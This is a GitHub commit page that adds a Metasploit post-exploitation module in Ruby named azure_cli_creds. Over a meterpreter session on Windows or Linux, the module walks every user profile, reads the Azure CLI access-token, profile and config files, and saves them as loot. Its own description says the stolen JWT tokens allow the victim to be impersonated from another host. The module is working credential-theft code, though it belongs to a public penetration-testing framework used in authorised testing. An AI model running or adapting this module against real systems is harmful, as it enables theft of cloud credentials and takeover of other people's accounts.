Skip to content

Commit 1cd1ae5

Browse files
james-ottenh00die
authored andcommitted
Add new module post/multi/gather/azure_cli_creds
1 parent 36e2953 commit 1cd1ae5

File tree

1 file changed

+131
-0
lines changed

1 file changed

+131
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'json'
7+
8+
class MetasploitModule < Msf::Post
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Post::Windows::UserProfiles
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Multi Gather Azure CLI credentials',
16+
'Description' => %q(
17+
This module will collect the Azure CLI 2.0 (az cli) settings files
18+
for all users on a given target. These configuration files contain
19+
JWT tokens used to authenticate users and other subscription information.
20+
Once tokens are stolen from one host, they can be used to impersonate
21+
the user from a different host.
22+
),
23+
'License' => MSF_LICENSE,
24+
'Author' => ['James Otten <jamesotten1[at]gmail.com>'],
25+
'Platform' => ['win', 'linux'],
26+
'SessionTypes' => ['meterpreter']
27+
))
28+
end
29+
30+
def process_profile_file(file_path, file_data)
31+
table_data = []
32+
data = parse_json(file_path, file_data)
33+
if data && data.key?("subscriptions")
34+
data["subscriptions"].each do |item|
35+
table_data << [file_path, item["name"], item["user"]["name"], item["environmentName"]]
36+
end
37+
end
38+
table_data
39+
end
40+
41+
def process_tokens_file(file_path, file_data)
42+
table_data = []
43+
data = parse_json(file_path, file_data)
44+
if data
45+
dic = {}
46+
data.each do |item|
47+
if dic.key?(item["userId"])
48+
dic[item["userId"]] = dic[item["userId"]] + 1
49+
else
50+
dic[item["userId"]] = 1
51+
end
52+
end
53+
dic.each do |key, value|
54+
table_data << [file_path, key, value]
55+
end
56+
end
57+
table_data
58+
end
59+
60+
def parse_json(file_path, str)
61+
data = nil
62+
options = { :invalid => :replace, :undef => :replace, :replace => '' }
63+
str = str.encode(Encoding.find('ASCII'), options)
64+
begin
65+
data = JSON.parse(str)
66+
rescue ::JSON::ParserError
67+
print_error("Unable to parse #{file_path}")
68+
end
69+
data
70+
end
71+
72+
def user_dirs
73+
user_dirs = []
74+
if session.platform == 'windows'
75+
grab_user_profiles.each do |profile|
76+
user_dirs.push(profile['ProfileDir'])
77+
end
78+
elsif session.platform == 'linux'
79+
user_dirs = enum_user_directories
80+
else
81+
fail_with(Failure::BadConfig, "Unsupported platform")
82+
end
83+
user_dirs
84+
end
85+
86+
def run
87+
subscription_table = Rex::Text::Table.new(
88+
"Header" => "Subscriptions",
89+
"Columns" => ["Source", "Account Name", "Username", "Cloud Name"]
90+
)
91+
tokens_table = Rex::Text::Table.new(
92+
"Header" => "Tokens",
93+
"Columns" => ["Source", "Username", "Count"]
94+
)
95+
loot_type = nil
96+
description = nil
97+
user_dirs.map do |user_directory|
98+
vprint_status("Looking for az cli data in #{user_directory}")
99+
%w[.azure/accessTokens.json .azure/azureProfile.json .azure/config].each do |file_location|
100+
possible_location = ::File.join(user_directory, file_location)
101+
if exists?(possible_location)
102+
data = read_file(possible_location)
103+
if data
104+
vprint_status("Found az cli file #{possible_location}")
105+
if file_location.end_with?("accessTokens.json")
106+
loot_type = "azurecli.jwt_tokens"
107+
description = "Azure CLI access/refresh JWT tokens"
108+
process_tokens_file(possible_location, data).each do |item|
109+
tokens_table << item
110+
end
111+
elsif file_location.end_with?("config")
112+
loot_type = "azurecli.config"
113+
description = "Azure CLI configuration"
114+
elsif file_location.end_with?("azureProfile.json")
115+
loot_type = "azurecli.azure_profile"
116+
description = "Azure CLI profile"
117+
process_profile_file(possible_location, data).each do |item|
118+
subscription_table << item
119+
end
120+
end
121+
stored = store_loot(loot_type, "text/plain", session, data, file_location, description)
122+
print_good("#{possible_location} stored to #{stored}")
123+
end
124+
end
125+
end
126+
end
127+
128+
print_line(subscription_table.to_s)
129+
print_line(tokens_table.to_s)
130+
end
131+
end

0 commit comments

Comments
 (0)